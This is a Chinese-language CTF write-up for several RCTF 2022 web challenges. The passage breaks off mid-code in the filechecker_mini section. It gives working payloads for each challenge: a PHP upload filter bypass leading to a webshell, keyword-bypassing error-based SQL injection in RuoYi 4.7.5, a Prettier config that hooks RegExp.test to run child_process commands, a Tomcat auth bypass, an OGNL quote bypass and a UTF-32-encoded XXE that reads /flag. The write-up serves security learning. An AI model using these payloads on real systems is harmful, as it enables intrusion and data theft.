2022RCTF

学到很多

RCTF2022

easyupload

附件

https://adworld.xctf.org.cn/media/file/task/0e2ca001-097f-437c-b5ae-a9e04773b9bc.tar

image-20230122145933429

这是一个文件上传的题目,题目开始给出了题目附件,先查看一下源码查看上传文件过滤哪些东西

核心就是一个UploadController.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
namespace App\Controller;
use Symfony\Component\Filesystem\Path;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;

class UploadController extends AbstractController
{
public function __construct()
{
mb_detect_order(["BASE64","ASCII","UTF-8"]);
$this->ext_blacklist = [
"php",
"ini",
"phtml",
"htaccess",
];
$this->content_blacklist = ["<?", "php", "handler"];
}
public function invalid($msg){
return new Response("error occurs: $msg");
}
#[Route('/', name: 'upload')]
public function index(Request $request)
{
$uploadHtml = <<<EOF
<html>
<form action="/" enctype="multipart/form-data" method="post">
<input type="file" id="file" name="file">
<input type="submit">
</form>
</html>
EOF;

$file = @$_FILES["file"];
if($file == null){
return new Response(
//'<p>Before start you should know that it\'s not a good challenge.You can\'t get anything from this challenge.If you hate this challenge, just skip plz. </p><p>这道题并不是一道好题,你不会从这道题上获得任何东西。如果你讨厌这道题就直接跳过吧。</p>'
$uploadHtml
);
}else {

$content = file_get_contents($file["tmp_name"]);
$charset = mb_detect_encoding($content, null, true);
if(false !== $charset){
if($charset == "BASE64"){
$content = base64_decode($content);
}
foreach ($this->content_blacklist as $v) {
if(stristr($content, $v)!==false){
return $this->invalid("fucking $v .");
}
}
}else{
return $this->invalid("fucking invalid format.");
}
$ext = Path::getExtension($file["name"], true);
if(strstr($file["name"], "..")!==false){
return $this->$this->invalid("fucking path travel");
}
foreach ($this->ext_blacklist as $v){
if (strstr($ext, $v) !== false){
return $this->invalid("fucking $ext extension.");
}
}
$dir = dirname($request->server->get('SCRIPT_FILENAME'));

$result = move_uploaded_file($file["tmp_name"], "$dir/upload/".strtolower($file["name"]));
if($result){
return new Response("upload success");
}else {
return new Response("upload failed");
}
}
}
}

可以看到过滤包含了后缀过滤文件内容过滤

1
2
3
4
5
6
7
8
9
10
11
public function __construct()
{
mb_detect_order(["BASE64","ASCII","UTF-8"]);
$this->ext_blacklist = [
"php",
"ini",
"phtml",
"htaccess",
];
$this->content_blacklist = ["<?", "php", "handler"];
}

后缀名黑名单过滤代码,过滤了php,ini,phtml,htaccess

1
2
3
4
5
6
7
8
if(strstr($file["name"], "..")!==false){
return $this->$this->invalid("fucking path travel");
}
foreach ($this->ext_blacklist as $v){
if (strstr($ext, $v) !== false){
return $this->invalid("fucking $ext extension.");
}
}

可以看到这里的这里是用strstr()进行匹配,而strstr()是区分大小写的,所以这里可以用.pHp,或者.PHP进行绕过对.php的过滤

1
$result = move_uploaded_file($file["tmp_name"],"$dir/upload/".strtolower($file["name"]));

代码最后可以看到后缀名被strtolower()处理,转化为小写,但是这里已经不影响,因为前面已经绕过了过滤

文件内容黑名单明确了"<?", "php", "handler"

可以看到代码中对文件内容的判断,其中涉及了mb_detect_encoding()函数

mb_detect_encoding():从有序的候选列表中 检测字符串 最可能的字符编码。

1
mb_detect_encoding(string $string, array|string|null $encodings = null, bool $strict = false): string|false

$strict控制在列出的任何编码中字符串无效时的行为。如果strict设置为false,则返回最接近的匹配编码;如果strict设置为true,则返回false

$encodings省略或者为空时,会从mb_detect_order()中按顺序进行测试

该题代码中为mb_detect_order(["BASE64","ASCII","UTF-8"]);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$content = file_get_contents($file["tmp_name"]);
$charset = mb_detect_encoding($content, null, true);
if(false !== $charset){
if($charset == "BASE64"){
$content = base64_decode($content);
}
foreach ($this->content_blacklist as $v) {
if(stristr($content, $v)!==false){
return $this->invalid("fucking $v .");
}
}
}else{
return $this->invalid("fucking invalid format.");
}

这段代码的判断主要是有个charset的判断, 如果 mb_detect_encoding() 的结果不为空【false !== $charset】, 就会对文件内容进行判断,而当为空时【false == $charset】,就会直接返回退出

1
2
3
4
5
6
7
8
if($charset == "BASE64"){
$content = base64_decode($content);
}
foreach ($this->content_blacklist as $v) {
if(stristr($content, $v)!==false){
return $this->invalid("fucking $v .");
}
}

而且在这段代码中有显示,不仅需要$charset不为空,还需要$charset=="BASE64"

判断完$charset后,又对内容进行正则匹配,如果出现,就会失败了,所以需要在

image-20230122163200935

这里匹配内容的代码为stristr($content, $v)!==false

stristr

知识点

https://github.com/php/php-src/issues/9008

它会导致奇怪的结果。

1
2
3
4
5
6
7
8
9
10
11
<?php
$string = "PHP";

mb_detect_order(["ASCII","UTF-8","BASE64"]);
var_dump(
mb_detect_encoding($string, null, true),
mb_detect_encoding($string, mb_detect_order(), true),

mb_convert_encoding($string, "UTF-8", "BASE64"),
mb_strtolower($string, "BASE64"),
?>

得到的结果发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Output for 8.2.0
string(5) "ASCII"
string(5) "ASCII"
string(2) "<s"
string(4) "PHM="

Output for 8.0.1 - 8.0.26, 8.1.10 - 8.1.13
string(5) "ASCII"
string(5) "ASCII"
string(2) "<s"
string(4) "PHM="

Output for 8.1.0 - 8.1.9
string(6) "BASE64"
string(5) "ASCII"
string(2) "<s"
string(4) "PHM="

mb_detect_encoding($string, null, true)返回值

只有在PHP版本在8.1.0 - 8.1.9时会返回base64,而在其他版本都是默认识别为ASCII

查看返回包中数据可知

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Date: Sun, 22 Jan 2023 08:40:35 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.1.9
Cache-Control: no-cache, private
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 14

正好是8.1.0 - 8.1.9版本

libmbfl打分

所以实现``$charset == BASE64`,只要文件内容前面数据让它识别为base64即可

那么如何让其认为是base64呢?

这就涉及到libmbfl的打分,libmbflmb扩展

https://github.com/php/php-src/blob/master/ext/mbstring/libmbfl/mbfl/mbfilter.c#L225

我的理解就是类似像checkengine,比如mb_detect_encoding()这类的函数对内容进行编码的识别,就是匹配内容中的一些符合编码的字符,匹配成功对应编码加分,最后从头到尾匹配完成后,打分最高的编码就被认为是该内容的编码

这是打分判断

0xFFFF是-1,>=0

0x21是33 33对应!

0x2F是47 47对应/

47>=c>=33

/打分打的多,所以可以在一句话🐎前加入许多/

image-20230122195735469

这是mb_encoding_detect()返回判断得到编码类型的逻辑

因为mb_detect_order(["BASE64","ASCII","UTF-8"]);,所以按照得分匹配,如果是想要返回base64,就需要内容中base64得分最高,才可以实现返回为base64

image-20230122195835984

综上

上传的文件需要满足

1.后缀不能为.php等,可以为大小写混写或者纯大写,如.pHp,.PHP等等

2.文件内容前面需要可以被识别为base64,而后面的过滤的内容其实就不用考虑了,因为在判断前经过

$content=base64_decode($content)

image-20230122213729640

可以发现原来的内容在被解码后,发生了变化,结果转化为乱码,于是绕过了黑名单过滤

【当然前提是$charset == BASE64,也就是打分够了】

于是最后的文件内容为

image-20230122210900608

访问1.PHP

image-20230122210957493

拿蚁剑连接

image-20230122164102078

最后得到flag

image-20230122164115830

ezruoyi

hint:RuoYi v4.7.5

附件:

https://drive.google.com/file/d/1vd8-tzGCX5Nra2vNTvJerjyW4KQDaAtE/view?usp=sharing

or

https://share.weiyun.com/wCvo3QJ0


什么是RuoYi?

RuoYi是一个 Java EE 企业级快速开发平台,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap),内置模块如:部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告等。

这个ruoyi v4.75是一个0day题目

搭建本地环境有问题,只有看看源码和师傅们的wp总结一下


先进行信息收集,根据hint,查找ruoyiv 4.75以及其之前的常出现的漏洞点

https://cn-sec.com/archives/1256773.html

https://www.freebuf.com/articles/web/304666.html

这两篇文章提到Ruoyi<=4.6.1存在后台sql注入漏洞

ruoyi-admin.jar包进行查找,

ruoyi-generator-4.7.5.jar找到GenTablrServiceImpl.class

image-20230304225854115

其中的sql语句为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public AjaxResult create(String sql) {
try {
SqlUtil.filterKeyword(sql);
List<SQLStatement> sqlStatements = SQLUtils.parseStatements(sql, DbType.mysql);
List<String> tableNames = new ArrayList<>();
for (SQLStatement sqlStatement : sqlStatements) {
if (sqlStatement instanceof MySqlCreateTableStatement) {
MySqlCreateTableStatement createTableStatement = (MySqlCreateTableStatement)sqlStatement;
if (this.genTableService.createTable(createTableStatement.toString())) {
String tableName = createTableStatement.getTableName().replaceAll("`", "");
tableNames.add(tableName);
}
}
}
List<GenTable> tableList = this.genTableService.selectDbTableListByNames(tableNames.<String>toArray(new String[tableNames.size()]));
String operName = Convert.toStr(PermissionUtils.getPrincipalProperty("loginName"));
this.genTableService.importGenTable(tableList, operName);
return AjaxResult.success();
} catch (Exception e) {
this.logger.error(e.getMessage(), e);
return AjaxResult.error("创建表结构异常[" + e.getMessage() + "]");
}
}

发现sql注入过滤判断,跟进SqlUtil

1
SqlUtil.filterKeyword(sql);

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.ruoyi.common.utils.sql;

import com.ruoyi.common.exception.UtilException;
import com.ruoyi.common.utils.StringUtils;

public class SqlUtil {
public static String SQL_REGEX = "select |insert |delete |update |drop |count |exec |chr |mid |master |truncate |char |and |declare ";

public static String SQL_PATTERN = "[a-zA-Z0-9_\\ \\,\\.]+";

public static String escapeOrderBySql(String value) {
if (StringUtils.isNotEmpty(value) && !isValidOrderBySql(value))
throw new UtilException(");
return value;
}

public static boolean isValidOrderBySql(String value) {
return value.matches(SQL_PATTERN);
}

public static void filterKeyword(String value) {
if (StringUtils.isEmpty(value))
return;
String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
for (String sqlKeyword : sqlKeywords) {
if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
throw new UtilException(");
}
}
}

看到正则过滤了很多

1
public static String SQL_REGEX = "select |insert |delete |update |drop |count |exec |chr |mid |master |truncate |char |and |declare ";

开始还以为直接堵死了,但是它实际过滤的是select_(空格),而非过滤了select,用select/**/可以进行绕过

https://gitee.com/y_project/RuoYi/pulls/403

image-20230305002520151

在其master分支进行了pull request,对此处进行了修改,但是在main分支仍然存在旧代码的漏洞,所以仍然是可以利用的

而且分析前面方法

1
sqlStatement instanceof MySqlCreateTableStatement

知道该方法是在create的时候触发,会先进行解析sql语句,然后进行创建表,如果创建表成功,则将表名添加到列表中

那么在一个创建表的sql语句中我们如何让它回显出我们需要的内容呢,

关键就在这里抛出异常

1
2
3
4
catch (Exception e) {
this.logger.error(e.getMessage(), e);
return AjaxResult.error("创建表结构异常[" + e.getMessage() + "]");
}

所以构造一个报错的表,且让其中包含flag数据

=>用报错注入查询flag的数据,然后把数据导入到创建的新表中去

所以于是根据构造

在网站/tool/gen/createTablepost方式提交sql语句

【注意表名不能和数据库已经有的表名相同否则会创建表失败】

1
sql=create table a as select/**/updatexml(0x7e,(select/**/flag from flag),0x7e)

image-20230305005514205

PrettierOnline

hint:Prettier my(not your) code

附件:https://adworld.xctf.org.cn/media/file/task/edc2b784-4b87-4b94-800f-1dc4fc61060e.tar

什么是Prettier?

一个“有态度”的代码格式化工具

这个环境也有点问题,虽然能够完成搭建并且访问,但是调用Prettier时,对于身份的验证一直提示

image-20230217204716995

猜测是不是Prettier官方对公开可调用api进行了修改,导致在此题容器中无法运行Prettier

只能记一下其他师傅的wp的知识点了【下次一定要现场搞出来,事后搞确实烦人


这个题的思路有点头疼

这是官方配置文件介绍https://prettier.io/docs/en/configuration.html

先看看环境文件,之前没学过node.js这次学习一下

index.js

分析加在注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// 引入文件系统、加密、格式化工具、进程控制等模块
const fs = require('fs')
const crypto = require('crypto')
const prettier = require('prettier')
const { nextTick, exit } = require('process')

// 引入自定义的 fw 模块
require('./fw')

// 从文件 ./dist/id 中读取一个字符串,然后使用 trim() 方法去除两端的空格
const id = fs.readFileSync('./dist/id', 'utf-8').toString('utf-8').trim()

// 删除文件 ./dist/id
fs.unlinkSync('./dist/id')

// 调用 prettier.resolveConfig 方法,异步地读取和解析 .prettierrc 配置文件,然后使用该配置文件格式化代码
//${__dirname}是node.js的一个特殊变量,用于读取当前模块所在的目录的绝对路径
prettier.resolveConfig(`${__dirname}/.prettierrc`).then(config => {

// 格式化当前文件的代码
const ret = prettier.format(fs.readFileSync(__filename, 'utf-8'), config)

// 使用 SHA256 算法计算 id 的哈希值,并以十六进制格式输出为字符串
const o = crypto.createHash('sha256').update(Buffer.from(id, 'utf-8')).digest().toString('hex')

// 将 id 作为文件名写入 dist 目录下
fs.writeFileSync(`./dist/${id}`, o, 'utf-8')

// 将格式化后的代码写入文件 ./dist/ret.js 中
fs.writeFileSync('./dist/ret.js', ret, 'utf-8')

// 使用 nextTick 方法注册一个回调函数跑出一个错误
nextTick(() => {
throw new Error('No NextTick here!')
})

exit(0)
})

主要是对一个文件进行格式化、哈希计算并生成新的文件。

在这段代码中我们发现

1
resolveConfig(`${__dirname}/.prettierrc`)

.prettierrc文件实际上是不在当前目录,也就是说还未生成,那么我们利用其自身格式代码,让其加载我们自己的设置配置信息,实现想要的命令执行等等操作

fw.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const Module = require('module')
const oldRequire = Module.prototype.require
Module.prototype.require = function (id) {
if (typeof id !== 'string') {
throw new Error('Bye')
}
const isCore = Module.isBuiltin(id)
if (isCore) {
if (!/fs|path|util|os/.test(id)) {
throw new Error('Bye, ' + id)
}
} else {
id = Module._resolveFilename(id, this)
}
return oldRequire.call(oldRequire, id)
}
process.dlopen = () => {}

看起来是对参数进行过滤的一个模块,首先判断参数id是否为字符串类型,如果不是,则会抛出一个错误。

1
!/fs|path|util|os/.test(id))

这里用test(id),如果id是一个Node.js的核心模块,如fspathutilos等,则允许加载该模块,否则也会抛出一个错

另外,process.dlopen被重写为空函数,代表无法使用process.dlopen加载新的本地模块

process.dlopen是Node.js的一个C++层面的函数,用于在Node.js进程中动态加载本地模块

js payload

1
2
3
4
5
6
7
{
//解析.prettierrc
parser: ".prettierrc",
/x|x/.__proto__.test=()=>true,
module.exports=()=>require("child_process").execSync("pwd;cat flag").toString()
}
// Hook RegExp.prototype.test

这段代码的目的就是因为在目录下并没有.prettierrc配置文件,所以利用解析器解析.prettierrc,

那么

1
2
/x|x/.__proto__.test=()=>true,
module.exports=()=>require("child_process").execSync("pwd;cat flag").toString()

中的内容就会被当作.prettierrc文件的内容,然后在index.js中进行解析,从而执行命令

parser: ".prettierrc":设置 Prettier 的解析器为 .prettierrc,这意味着 Prettier 会读取和解析 .prettierrc 文件来获取格式化选项。

/x|x/.__proto__.test=()=>true:通过修改 RegExp 对象的原型来劫持所有正则表达式的 test() 方法,使其始终返回为true这样就可以使得id绕过fw.js的过滤了,使得可以require任何东西,以至于child_process,正则表达式 /x|x/ 可以匹配任何字符串。

module.exports=()=>require("child_process").execSync("pwd;cat flag").toString():将 module.exports 设置为一个匿名函数,该函数调用一个子进程child_process,然后调用execSync 方法来执行命令 pwd;cat flag,并将当前目录flag作为字符串返回。

ezbypass

hint:xxe me,尝试编码绕过 xxe 过滤器

image-20230123144129416

这是一道xxe的题目,对内容进行了过滤,可以对过滤内容进行编码绕过过滤达到文件内容读取的目的

反汇编jar包,

com.example.demo.filter.MyFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
if (isWhite(request) || auth()) {
chain.doFilter(request, response);
} else {
response.getWriter().write("auth fail");
}
}

public boolean isWhite(ServletRequest req) {
HttpServletRequest request = (HttpServletRequest)req;
if (request.getRequestURI().endsWith(".ico"))
return true;
return false;
}

public boolean auth() {
return false;
}
}

这里看到开始页面的auth fail的触发条件

if (isWhite(request) || auth())

其中

auth()是一定返回false

所以我们需要让isWhite(request)返回true,才能继续后续步骤

在isWhite()中可知

1
2
3
4
if (request.getRequestURI().endsWith(".ico"))
return true;
return false;
}

需要URI后以ico结尾,但是又不能访问一个不存在的文件,不然后面的访问都是失败的

这里就需要利用一个知识点

Tomcat 以;一种奇怪的方式进行规范化

也就是说在;后的不进行解析

于是构造出

http://127.0.0.1:8899/index;123.ico

image-20230123151457117

虽然显示500,但其实是成功了的

然后就需要考虑如何进行xxe注入

com.example.demo.controller.DemoController中,正好有个名为xxe的函数

image-20230123153904078

xxe函数上面还有个sayHello函数

1
2
3
4
if (password.length() > 50 || password.indexOf("'") != -1) {
System.out.println("not allow");
return "not allow";
}

发现其对password这个参数中的数据也进行了过滤,长度不能超过50个字符,且其中不能有单引号'

否则就会失败返回

并且在sayHello函数中,还有其他三个参数

String poc, String type, String yourclasses

这三个参数也是最后传入xxe函数的三个参数

1
return xxe(poc, type, classes);

【但是yourclasses参数被进行了分割,以,为分割,分成4份

1
String[] classes = yourclasses.split(",", 4);

所以对yourclasses的参数赋值需要考虑

==>xxe注入需要四个参数

String password, String poc, String type, String yourclasses

其中

  • password参数值需要绕过单引号(常识猜测是sql注入,以单引号闭合,用万能密码
  • poc参数值按常理应该就是xxe注入的内容
  • type参数值还不太确定
  • yourclasses参数值以,分割为4份,具体值可能就是帮助poc进行绕过过滤的

同样在该类中,底下就是过滤黑名单

image-20230123154032645

可以看到将!DOCTYPE进行了过滤

password参数

查找password参数在哪里被利用时

com.example.demo.mapper.UserProvider

image-20230124131633821

发现其果然被sql查询利用 ,以')闭合

但是单引号被过滤了如何闭合,然后实现万能密码呢

Ognl 注入绕过引用过滤

1
${@java.lang.Character@toString(39)}

简而言之,mybatis会调用OGNL parser来解析sql语句中以 ${} 或者 #{} 中的表达式并将执行结果替换进去

这里的39就是单引号的ascii编码

于是构造sql注入万能密码

password=1${@java.lang.Character@toString(39)}) or 1=1#

poc参数

先分析一下xxe函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static String xxe(String b64poc, String type, String[] classes) throws Exception {
String res = "";
byte[] bytepoc = Base64.getDecoder().decode(b64poc);
if (check(bytepoc)) {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
InputSource inputSource = null;
Object wrappoc = null;
Constructor<?> constructor = Class.forName(classes[0]).getDeclaredConstructor(new Class[] { Class.forName(classes[1]) });
if (type.equals("string")) {
String stringpoc = new String(bytepoc);
wrappoc = constructor.newInstance(new Object[] { stringpoc });
} else {
wrappoc = constructor.newInstance(new Object[] { bytepoc });
}
inputSource = Class.forName(classes[2]).getDeclaredConstructor(new Class[] { Class.forName(classes[3]) }).newInstance(new Object[] { wrappoc });
Document doc = builder.parse(inputSource);
NodeList nodes = doc.getChildNodes();
for (int i = 0; i < nodes.getLength(); i++) {
if (nodes.item(i).getNodeType() == 1) {
res = res + nodes.item(i).getTextContent();
System.out.println(nodes.item(i).getTextContent());
}
}
}
return res;
}

可以看到poc传入后变为b64poc

然后b64poc进行base64解码,然后check函数进行过滤!DOCTYPE

1
byte[] bytepoc = Base64.getDecoder().decode(b64poc);

这里就提及一个知识点xxe的编码绕过

一个 xml 文档不仅可以用 UTF-8 编码,也可以用 UTF-16(两个变体 - BE 和 LE)、UTF-32(四个变体 - BE、LE、2143、3412) 和 EBCDIC 编码。

而一般过滤都是单字符集过滤,利用上面的编码就可以绕过,而且利用上面方式加码的xml文档仍然可以被正常读取解析,

这里将其进行UTF-16加码,于是构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.util.Base64;

public class Main {
public static void main(String[] args) throws Exception {
String body = "<!DOCTYPE test [ \n"
+ "\t<!ENTITY xxe SYSTEM \"file:///flag\"> \n"
+ "]> \n"y
+ "<ttoc>&xxe;</ttoc>";
String type = "UTF-32";
String poc = new String(Base64.getEncoder().encode(body.getBytes(type)));
System.out.println("poc="+poc);
}
}

最后得到poc的参数值

poc=AAAAPAAAACEAAABEAAAATwAAAEMAAABUAAAAWQAAAFAAAABFAAAAIAAAAHQAAABlAAAAcwAAAHQAAAAgAAAAWwAAACAAAAAKAAAACQAAADwAAAAhAAAARQAAAE4AAABUAAAASQAAAFQAAABZAAAAIAAAAHgAAAB4AAAAZQAAACAAAABTAAAAWQAAAFMAAABUAAAARQAAAE0AAAAgAAAAIgAAAGYAAABpAAAAbAAAAGUAAAA6AAAALwAAAC8AAAAvAAAAZgAAAGwAAABhAAAAZwAAACIAAAA+AAAAIAAAAAoAAABdAAAAPgAAACAAAAAKAAAAPAAAAHcAAABzAAAAdwAAAD4AAAAmAAAAeAAAAHgAAABlAAAAOwAAADwAAAAvAAAAdwAAAHMAAAB3AAAAPg==

但是发送请求包中base64编码,需要对数据再进行url编码,不然类型=+会被视为url中的参数和空格符号

poc=AAAAPAAAACEAAABEAAAATwAAAEMAAABUAAAAWQAAAFAAAABFAAAAIAAAAHQAAABlAAAAcwAAAHQAAAAgAAAAWwAAACAAAAAKAAAACQAAADwAAAAhAAAARQAAAE4AAABUAAAASQAAAFQAAABZAAAAIAAAAHgAAAB4AAAAZQAAACAAAABTAAAAWQAAAFMAAABUAAAARQAAAE0AAAAgAAAAIgAAAGYAAABpAAAAbAAAAGUAAAA6AAAALwAAAC8AAAAvAAAAZgAAAGwAAABhAAAAZwAAACIAAAA%2BAAAAIAAAAAoAAABdAAAAPgAAACAAAAAKAAAAPAAAAHcAAABzAAAAdwAAAD4AAAAmAAAAeAAAAHgAAABlAAAAOwAAADwAAAAvAAAAdwAAAHMAAAB3AAAAPg%3D%3D

type参数

xxe函数中,对于type参数

1
2
3
4
5
6
if (type.equals("string")) {
String stringpoc = new String(bytepoc);
wrappoc = constructor.newInstance(new Object[] { stringpoc });
} else {
wrappoc = constructor.newInstance(new Object[] { bytepoc });
}

似乎对于结果没什么影响,只是对type参数值为不为string时,对wrappoc值有变化【是byte类型的poc参数值,还是string类型的poc参数值】

但是wrappoc参数对后续结果没用影响,猜测type参数值应该可以顺便填,就按其代码赋值也行

type=string

yourclasses参数

yourclasses参数传入xxe函数时,以classes参数名

前面提到过,yourclasses参数以,为分割,分成四份

前两部分

1
Constructor<?> constructor = Class.forName(classes[0]).getDeclaredConstructor(new Class[] { Class.forName(classes[1]) });

后两部分

1
2
inputSource = Class.forName(classes[2]).getDeclaredConstructor(new Class[] { Class.forName(classes[3]) }).newInstance(new Object[] { wrappoc });
Document doc = builder.parse(inputSource);

先分析一下

1
Constructor<?> constructor = Class.forName(classes[0]).getDeclaredConstructor(new Class[] { Class.forName(classes[1]) })

java.lang.Class 类的**forName()**方法用于获取具有指定类名的该类的实例。此类名称指定为字符串参数

简而言之,Class.forName 方法的作用,就是初始化给定的类。

classes[0]&classes[1]

1
Constructor<?> constructor = Class.forName(classes[0]).getDeclaredConstructor(new Class[] { Class.forName(classes[1]) });

这段代码使用了反射机制。它首先使用 Class.forName(classes[0]) 方法来获取类的 Class 对象。

然后使用 getDeclaredConstructor(new Class[] { Class.forName(classes[1]) }) 方法来获取该类的构造函数。

该方法的参数是一个 Class 数组,表示该构造函数的参数类型。在这里,该构造函数只有一个参数,且其参数的类型是 classes[1] 中所表示的类。最后将获取到的构造函数赋值给 constructor 变量。

反射机制是 Java 编程语言中一种用于获取类、接口、构造方法、字段、方法等信息的机制。反射机制允许程序在运行时动态地获取、使用、操作类的相关信息。

==>

classes[0]

这个是看其他大佬wp清楚了,这里赋值字节数组 java.io.ByteArrayInputStream,然后bytepoc通过ByteArrayInputStream转换为输入流,因为其类中有read()可以读取数据

classes[1]

是数组参数数据类型,根据数组参数类型”[B“ 是表示字节数组byte[] (byte array) 的类型名称。

在 java 中,数组类型的类型名称会在前面加上 “[“ 符号表示,比如[I代表 int 类型的数组类型名称,但是由于string不是基本数据类型,只能用类表示[Ljava.lang.String;

所以

classes[0]=java.io.ByteArrayInputStream

classes[1]=[B (因为bytepocbyte数据类型,所以这里传入ByteArrayInputStream类中的构造函数的参数类型也声明为byte

classes[2]&classes[3]

1
2
inputSource = Class.forName(classes[2]).getDeclaredConstructor(new Class[] { Class.forName(classes[3]) }).newInstance(new Object[] { wrappoc });
Document doc = builder.parse(inputSource);

这里的inputSource参数是

1
2
3
import org.xml.sax.InputSource;
...
InputSource inputSource = null;

这段代码首先使用 Class.forName(classes[2]) 方法来获取第三个参数所表示的类的 Class 对象,在这里是 org.xml.sax.InputSource 类,这个类是 SAX (Simple API for XML) 中用于读取 XML 文档的一个类。

然后使用 getDeclaredConstructor(new Class[] { Class.forName(classes[3]) }) 方法来获取该类的构造函数,在这里是 org.xml.sax.InputSource 类的构造函数,接受一个参数是 classes[3] 所表示的类。

之后使用 newInstance(new Object[] { wrappoc }) 方法来创建一个 org.xml.sax.InputSource 类型的实例,使用参数值为 wrappoc 的构造函数来创建这个实例。

接着使用 builder.parse(inputSource) 方法来解析 inputSource 对象,这里的 builderDocumentBuilder 类型的对象,DocumentBuilderjavax.xml.parsers 包中提供的一个类,其作用是创建 DOM 解析器,用于解析 XML 文档

==>

inputSource值为恶意xml文件内容

doc值为解析恶意xml文件后得到的内容

在代码还有一段实现打印的代码,这段代码就完成了把doc中解析恶意xml文档后得到的内容,打印输出

1
2
3
4
5
6
NodeList nodes = doc.getChildNodes();
for (int i = 0; i < nodes.getLength(); i++) {
if (nodes.item(i).getNodeType() == 1) {
res = res + nodes.item(i).getTextContent();
System.out.println(nodes.item(i).getTextContent());
}

这段代码首先使用 doc.getChildNodes() 方法获取文档中的所有子节点,并将它们存储在 NodeList 对象中。

然后使用一个 for 循环来遍历 NodeList 中的每个子节点。在每次循环中,使用 nodes.item(i) 方法获取当前遍历到的子节点。

之后使用 if 语句来检查当前子节点的类型。如果该类型为1 (即元素节点),则使用 nodes.item(i).getTextContent() 方法获取该元素节点的文本内容并将其加到 res 变量中。然后使用 System.out.println(nodes.item(i).getTextContent()) 方法将该文本内容打印到控制台。

总的来说,这段代码用于遍历文档中所有子节点,并将所有元素节点的文本内容提取出来并存储在 res 变量中,同时将其打印到控制台。

这段代码通过遍历doc中的所有子节点,并将所有元素节点的文本内容获取出来并存储在res变量中,同时将其打印到控制台(这段代码在爬虫领域很常用来提取网页中的文本内容)

所以

classes[2]=org.xml.sax.InputSource

//这里为org.xml.sax.InputSource类,用于读取xml文件,将其转化为可解析的xml格式,便于后面进行

classes[3]=java.io.InputStream

//java.io.ByteArrayInputStreamjava.io.InputStream的子类,但是java.io.ByteArrayInputStream不能直接作为构造函数的参数传入 org.xml.sax.InputSource 类的构造函数,因为org.xml.sax.InputSourcejava.io.InputStream 之间并没有继承关系。

//如果classes[3]=java.io.ByteArrayInputStream,会导致程序在执行 newInstance(new Object[] { wrappoc }) 方法时出现异常,因为类型不匹配,

除非ByteArrayInputStream转换为InputStream 类型的对象才能传入 org.xml.sax.InputSource 类的构造函数

payload

password=1${@java.lang.Character@toString(39)}) or 1=1#&poc=AAAAPAAAACEAAABEAAAATwAAAEMAAABUAAAAWQAAAFAAAABFAAAAIAAAAHQAAABlAAAAcwAAAHQAAAAgAAAAWwAAACAAAAAKAAAACQAAADwAAAAhAAAARQAAAE4AAABUAAAASQAAAFQAAABZAAAAIAAAAHgAAAB4AAAAZQAAACAAAABTAAAAWQAAAFMAAABUAAAARQAAAE0AAAAgAAAAIgAAAGYAAABpAAAAbAAAAGUAAAA6AAAALwAAAC8AAAAvAAAAZgAAAGwAAABhAAAAZwAAACIAAAA%2BAAAAIAAAAAoAAABdAAAAPgAAACAAAAAKAAAAPAAAAHcAAABzAAAAdwAAAD4AAAAmAAAAeAAAAHgAAABlAAAAOwAAADwAAAAvAAAAdwAAAHMAAAB3AAAAPg%3D%3D&type="string"&yourclasses=java.io.ByteArrayInputStream,[B,org.xml.sax.InputSource,java.io.InputStream

image-20230125004553248

filecheacker_mini

hint:Just an easy file check challenge~~~
The challenging environment restarts every three minutes

只是一个简单的文件检查挑战~~~
具有挑战性的环境每三分钟

image-20230312163758682

似乎是一个文件上传的环境,

先分析一下它的网站启动脚本app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask, request, render_template, render_template_string
from waitress import serve
import os
import subprocess

app_dir = os.path.split(os.path.realpath(__file__))[0]
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = f'{app_dir}/upload/'

@app.route('/', methods=['GET','POST'])
def index():
try:
if request.method == 'GET':
return render_template('index.html',result="ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿")

elif request.method == 'POST':
f = request.files['file-upload']
filepath = os.path.join(app.config['UPLOAD_FOLDER'], f.filename)

if os.path.exists(filepath) and ".." in filepath:
return render_template('index.html', result="Don't (^=◕ᴥ◕=^) (^=◕ᴥ◕=^) (^=◕ᴥ◕=^)")
else:
f.save(filepath)
file_check_res = subprocess.check_output(
["/bin/file", "-b", filepath],
shell=False,
encoding='utf-8',
timeout=1
)
os.remove(filepath)
if "empty" in file_check_res or "cannot open" in file_check_res:
